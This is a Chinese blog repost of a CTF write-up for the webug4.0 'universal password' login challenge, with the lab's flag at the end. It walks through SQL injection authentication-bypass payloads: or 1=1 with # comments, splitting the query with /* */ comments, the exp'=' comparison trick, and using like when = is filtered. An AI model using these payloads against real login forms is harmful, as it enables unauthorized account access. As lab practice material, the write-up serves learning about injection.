webug4.0万能密码登陆-11

/*这道题很水不过也值得总结下*/

 

打开界面

1.  我尝试输入 admin   admin  竟然出flag了。。。这应该不是作者本意

2. 好了 言归正传 我猜测后台逻辑应该是这样的:

select * from table where username= 'user' and password = 'pass'

3.1 利用逻辑绕过  构造payload   admin' or 1=1--+ 

输入后发现并没有进入,猜测应该是过滤了 'or' 或者'-' 或者'+'

用#替换--+   构造payload   admin' or 1=1# 密码随便输入 发现登陆成功 那为什么--+就不行呢  -- 是注释需在后面添加空格 即 '-- '

admin' or '1'#          admin'or'1'='1# 也能绕过

#  -- 都能注释到行底 /*  */注释中间内容

3.2 利用注释绕过  构造payload 用户名:  admin'/*asd    密码  asd*/#

select * from table where username= 'admin'/*' and password = 'asd*/#'

发现登录成功,说明没有过滤 '#' ,尝试将#换成 '-- '也能成功绕过,如果过滤了 'or'   '#'  '-' 怎么绕过

如果你尝试把payload 用户名: exp/*asd    密码  asd*/#  你会发现不能绕过,究其原因是数据库里面没有 'exp'

此时机智的你又想到如果数据库里没有 ‘admin'又该怎么绕过,

3.3  进阶的逻辑绕过    构造payload 用户名:  exp'='  密码  exp'='

select * from table where username= 'exp'='' and password = 'exp'=''

发现登陆成功,因为数据库里没有 'exp' sql从左向右执行,故 false='' 为真

4.4 如果过滤 '='  等号替换成like

select * from table where username= 'exp'like'' and password = 'exp'like''

这样也能成功绕过

flag: htryyujryfhyjtrjn

  

转载于:https://www.cnblogs.com/yuuki-aptx/p/10544985.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值